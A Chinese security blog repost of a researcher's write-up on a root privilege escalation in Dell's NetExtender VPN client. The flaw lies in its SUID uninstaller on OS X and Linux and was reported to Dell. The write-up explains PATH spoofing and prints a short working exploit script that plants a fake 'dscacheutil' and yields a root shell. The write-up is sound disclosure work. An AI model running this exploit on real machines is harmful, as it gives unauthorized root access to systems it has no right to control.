记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

戴尔VPN客户端Netextender 0day分析

2016-01-31 03:00

VPN客户端是大多数IT安全专家都会使用的一个工具,使用它可以连接到一个“受限制”的局域网,进行匿名上网、确保网络流量安全等。但试想一下,如果VPN客户端可以导致机器的权限提升呢?

注意:目前这已经不再是一个0day了,因为当时我立即向戴尔安全团队报告了这个漏洞,你可以从这里了解报告的详细情况:《戴尔SonicWALL通知:关于在Mac OS X和Linux平台上,NetExtender客户端中的root权限提升漏洞

0×01 从头说起(2015年9月)

记得那是一个晴朗的日子,阳光明媚…哈哈,开个玩笑。

其实,当时我在家里无事可做,所以我决定尝试在Mac OS X(2015年9月份的Yosemite系统)中寻找漏洞,因为它对我来说是一个全新的操作系统,所以在OS X上寻找漏洞是一个不错的尝试。

我决定从最基本的内容开始学:首先搜索suid文件。

sudo find / -user root -perm -4000 -print

除了常规的系统文件之外,有一个地方吸引了我:

1321668 -rwsr-xr-x@ 1 root  wheel    18K 16 Apr 17:47 /usr/sbin/uninstallNetExtender

什么?我之前安装的VPN客户端(戴尔的NetExtender)创建了一个SUID二进制文件,下面就让我们对它进行探索分析吧。

0×02 Pa(th)zuzu进入视线

就在那几天,我正在编写一个脚本来测试PATH欺骗(PATH Spoofing)漏洞(注:PA(TH)ZUZU,现在它工作的很好),所以当时我觉得有一件事尝试一下应该会很有趣,那就是欺骗PATH。

bash中的PATH变量($PATH)包含了所有二进制文件的目录,这样你就可以在不必输入完整路径的情况下调用这些程序了。例如下面的例子:

/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin

这是OS X系统中的默认$PATH。通过分解它可以看到,它实际上是5个目录:

/usr/local/bin
/usr/bin
/bin
/usr/sbin
/sbin

所以,如果我运行一条命令,那么将会从上面列举的几个目录中搜索命令中给出的文件名。以ping指令为例:

~ $ which ping
/sbin/ping

所以,现在的问题是:如果在运行一个可执行文件之前,你改变了(欺骗)$PATH变量值,那么将会发生什么呢?

shotokan@ZHMACBOOK ~ $ which ping
/sbin/ping
shotokan@ZHMACBOOK ~ $ touch /tmp/ping
shotokan@ZHMACBOOK ~ $ chmod +x /tmp/ping
shotokan@ZHMACBOOK ~ $ PATH=/tmp
shotokan@ZHMACBOOK ~ $ /usr/bin/which ping
/tmp/ping

经过上面的修改操作,从现在开始,如果我试着在不指定完整路径的情况下运行任何程序,那么将只会从“/tmp”目录下搜索该程序。

0×03 好戏正式开始

首先要尝试的是:查看二进制文件中是否存在一些有趣的字符串。

哇,setuid !如果我们可以破解这个脚本,那么我们很可能获取到root权限。其他的字符串看起来没什么特别的,都是直接传递给bash。下面,让我们尝试体验一下欺骗的魔力吧。

现在,我们将PATH指向一个目录(当前目录”.”),该目录中并没什么有趣的内容。

等等,什么?它竟然能够正常工作!从这张图中我们可以看到,从卸载程序中调用了3个程序:

1.dscacheutil
2.arp
3.rm

现在,我们试着编写一个利用程序,它将会在当前目录中创建一个假的dscacheutil可执行文件(它仅仅调用bash),并会以被欺骗的$PATH调用卸载程序。

#!/bin/bash
echo "#!/bin/bash" >dscacheutil
echo "PATH=$PATH /bin/bash 2>&1" >> dscacheutil
chmod +x dscacheutil
PATH=. /usr/sbin/uninstallNetExtender 2>/dev/null
rm dscacheutil

我们执行chmod +x来授予执行权限,然后运行它:

Root成功。(注意:这个利用能够同时在OS X和Linux系统上工作

0×04 最后感想

在你安装软件之前和之后,一定要检查电脑上都存在什么内容,即使你非常信任软件来源,也要做这种检测,因为它能够有助于你摆脱不必要的麻烦。

*参考来源:aitch,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

知识来源: www.freebuf.com/vuls/94575.html

阅读:133603 | 评论:0 | 标签:漏洞 系统安全 0day Netextender 戴尔

想收藏或者和大家分享这篇好文章→复制链接地址

“戴尔VPN客户端Netextender 0day分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云